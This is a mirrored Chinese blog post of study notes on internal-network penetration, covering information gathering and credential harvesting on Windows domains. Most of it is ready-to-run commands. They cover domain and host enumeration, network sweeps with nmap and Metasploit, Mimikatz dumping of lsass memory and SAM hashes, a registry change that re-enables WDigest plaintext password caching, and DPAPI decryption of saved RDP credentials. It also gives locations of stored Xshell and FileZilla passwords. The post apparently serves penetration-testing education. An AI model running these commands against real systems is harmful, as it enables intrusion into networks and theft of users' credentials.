7

内网渗透之信息收集 | Dar1in9's Blog

 1 year ago
source link: https://dar1in9s.github.io/2023/04/02/%E5%86%85%E7%BD%91%E6%B8%97%E9%80%8F/%E4%BF%A1%E6%81%AF%E6%94%B6%E9%9B%86/#%E8%8E%B7%E5%8F%96%E5%B8%B8%E8%A7%81%E5%BA%94%E7%94%A8%E8%BD%AF%E4%BB%B6%E5%87%AD%E6%8D%AE
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

这是《内网渗透体系建设》学习笔记,第二篇:信息收集

本机基础信息收集

shell
# 查看当前用户、权限
whoami /all

# 查看网络配置信息
ipconfig /all

# 查看主机路由信息
route print

# 查看操作系统信息
systeminfo

# 查看端口和连接信息
netstat -ano

# 查看当前进程信息
tasklist
wmic process get Name,ProcessId,ExecutablePath
wmic process where Name="msedge.exe" get ExecutablePath

# 查看当前会话列表
net session

# 查看当前网络共享信息
net share

# 查看已连接的网络共享
net use

# 查看服务信息
wmic service get Caption,Name,PathName,StartName,State

# 查看计划任务信息
schtasks /query /v /fo list

# 查看自启动程序信息
wmic startup get Caption,Command,Location,User

# 查看系统补丁安装信息
wmic qfe get Caption,CSName,Description,HotFixID,InstalledOn

# 查看系统应用安装信息
wmic product get Caption,Version

# 查看本地用户/组信息
net user
net user <username>

# 查看本地管理员组
net localgroup administrators

# 查看当前登录的用户
query user

域内信息收集

shell
# 判断是否存在域
net config workstation

# 查看域用户信息
net user /domain
net user <username> /domain

wmic useraccount get Caption,Domain,Description

# 查看域用户组信息
net group /domain

net group "Domain Admins" /domain # 查看域管理用户
net group "Domain Computers" /domain # 查看域内所有的客户端主机

# 查看域内密码策略
net accounts /domain

# 查看域控制器列表
net group "Domain Controllers" /domain
nltest /DCLIST:hackme.com

# 查看住域控制器
net time /domain # 在域环境中,主域控制器会同时被用作时间服务器,使得域中所有计算机时间同步

# 定位域控制器
ping DC.hackme.com # 除此之外,域控制器往往同时被作为DNS服务器,所以找到主机所使用的DNS服务器地址也可以定位域控

# 查看域信任关系
nltest /domain_trusts

域内资源探测

发现存活主机

基于ICMP主机探测
使用循环ping命令进行探测

shell
for /L %I in (1,1,254) Do @ping -w 1 -n 1 192.168.30.%I |findstr "TTL="

基于NetBIOS(网络基本输入/输出系统)协议主机探测
NBTScan是一款用于扫描Windows网络上NetBIOS名称的程序,用于发现内网中存活的Windows主机。

shell
nbtscan 192.168.30.1/24

基于UDP主机探测

shell
unicornscan -mU 192.168.30.1/24 

基于ARP主机探测

shell
arp-scan -t 192.168.30.1/24

基于smb主机探测
SMB又称为网络文件共享系统(Common Internet File System,CIFS)协议,是一种应用层传输协议,主要功能是使网络上的机器能够共享计算机文件、打印机、串行端口和通信等资源。CIFS消息一般使用NetBIOS或TCP发送,分别使用139和445端口,目前倾向于使用445端口。

shell
# 使用msf进行扫描
use scanner/smb/smb_version
set rhosts 192.168.30.1/24
set threads 20
run

利用telnet探测端口

shell
telnet <ip> <port>

使用nmap进行端口扫描

shell
nmap -p 80,88,135,443,8080,3389 192.168.30.10

nmap -sS -p- 192.168.30.10

使用msf进行端口扫描

msf具有很多扫描的payload

shell
# 主机存活扫描
auxiliary/scanner/netbios/nbname
auxiliary/scanner/discovery/udp_probe
auxiliary/scanner/discovery/udp_sweep
auxiliary/scanner/discovery/arp_sweep
auxiliary/scanner/snmp/snmp_enum
auxiliary/scanner/smb/smb_version

# 端口扫描
auxiliary/scanner/portscan/ack
auxiliary/scanner/portscan/ftpbounce
auxiliary/scanner/portscan/syn
auxiliary/scanner/portscan/tcp
auxiliary/scanner/portscan/xmas

获取banner信息

使用netcat获取端口的banner

shell
nc -nv 192.168.30.10 445
```

**使用telnet获取banner**
```shell
telnet 192.168.30.10 445

使用nmap获取banner

shell
nmap --script=banner -p <Ports> <IP>

用户凭证收集

获取域内单机密码和哈希值

在Windows中,SAM文件是Windows用户的账户数据库,位于%SystemRoot\System32\Config目录中,所有本地用户的用户名、密码哈希值等信息都存储在这个文件中。用户输入密码登录时,用户输入的明文密码被转换成哈希值,然后与SAM文件中的哈希值进行对比,若相同,则认证成功。

lsass.exe是Windows的一个系统进程,用于实现系统的安全机制,主要用于本地安全啊和登录策略。在通常情况下,用户输入密码登录后,登陆的域名、用户名和登录凭证等信息会存储在lsass.exe的进程空间中,用户的明文密码经过WDigets和Tspkg模块调用后,会对其使用可逆的算法加密并存储在内存中。

用来获取主机的用户名和哈希值的工具有很多,这些工具大多是通过读取SAM文件或者访问lsass.exe进程的内存数据等操作实现的。这些操作大多需要管理员的权限,这意味需要配合提权的操作。

Mimikatz是一款功能强大的凭据转储开源程序,可以帮助进行提升进程权限、注入进程、读取进程内存等。

在线读取lsass进程内存

shell
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords full" exit

离线读取lsass内存文件

除了在线读取,也可以直接将lsass.exe的进程内存转储,讲内存文件导出到本地后,使用mimikatz进行离线读取。

使用Procdump把lsass的进程内存dump出来:

shell
procdump -accepteula -ma lsass.exe lsass.dmp
shell
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords full" exit

为了防止用户的明文密码泄露,微软在2014年发布了KB2871997补丁,关闭了WDigest功能,禁止从内存中获取明文密码,且Windows server 2012及以上版本默认关闭WDigest功能。但是测试人员通过修改注册表,可以重新开启WDigest功能,当用户注销或者重新登录后,可以重新获取到用户的明文密码

shell
# 开启WDigest
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
# 关闭WDigest
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f

在线读取本地SAM文件

shell
mimikatz.exe "privilege::debug" "token::elevate" "lsadump::sam" exit

离线读取本地SAM文件
为了提高SAM文件的安全性,Windows会对SAM文件使用密钥加密,这个密钥会存储在SYSTEM文件中,与SAM文件位于相同目录下。因此,需要在目标主机上先导出这两个文件。

shell
mimikatz.exe "lsadump::sam /sam:sam.hive /system:system.hive" exit

获取常见应用软件凭据

RDP
为了避免每次连接服务器都进行身份认证,经常使用RDP的用户可能勾选保存连接凭据,以便进行快速的身份验证。这些凭据都使用数据保护API以加密形式存储在Windows的凭据管理器中,路径为%USERPROFILE%\AppData\Local\Microsoft\Credentials

shell
cmdkey /list    # 查看当前保存的凭据

# 遍历Credentials目录下保存的凭据
dir /a %USERPROFILE%\AppData\Local\Microsoft\Credentials\*

Credentials目录下保存的凭据是加密的,可以尝试使用Mimikatz导出和解密。

1、首先解析连接凭据

shell
mimikatz.exe "privilege::debug" "dpapi::cred /in:%USERPROFILE%\AppData\Local\Microsoft\Credentials\00119663E99E6E4709F1F83BEB49A78D" exit

解析得到的pbData就是凭据的加密数据,guidMasterKey是该凭据的GUID。

2、找到与guidMasterKey(GUID)相关联的MasterKey,这个Masterkey就是加密凭据所使用的密钥

shell
mimikatz.exe "privilege::debug" "sekurlsa::dpapi" exit

3、使用MasterKey值破解指定凭据文件,获得明文RDP凭据

shell
mimikatz.exe "dpapi::cre /in:%USERPROFILE%\AppData\Local\Microsoft\Credentials\00119663E99E6E4709F1F83BEB49A78D/masterkey:xxxxxxxxxxxxxxxxxxxx" exit

Xshell
Xshell会将服务器连接信息保存在Session目录下的.xsh文件中,如果用户在连接时勾选了“记住用户名/密码”,该文件会保存服务器连接时的用户名和加密后的密码

shell
# Xshell 5
%USERPROFILE%\Documents\NetSarang\XShell\Sessions
# Xshell 6
%USERPROFILE%\Documents\NetSarang Computer\6\XShell\Sessions
# Xshell 7
%USERPROFILE%\Documents\NetSarang Computer\7\XShell\Sessions

Xshell7之前版本,可以直接通过SharpDecryptPwd工具进行解密,包括Navicat、TeamViewer、FileZilla、Winscp和Xmangager系列产品。

Xshell7之后的版本可以使用星号查看器直接查看密码

FileXilla
FileXilla将所有FTP登陆凭证以base64编码后的格式存储在%USERPROFILE%\AppData\Roaming\FileZilla\recentservers.xml中,这是一个xml文件,其中的<User>节点是用户名,<Pass>节点是base64后的密码

浏览器保存的登录凭证
使用HackBrowserData可以直接从浏览器解密数据,包括用户登录密码、书签、Cookie、历史记录、银行卡、下载链接等。


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK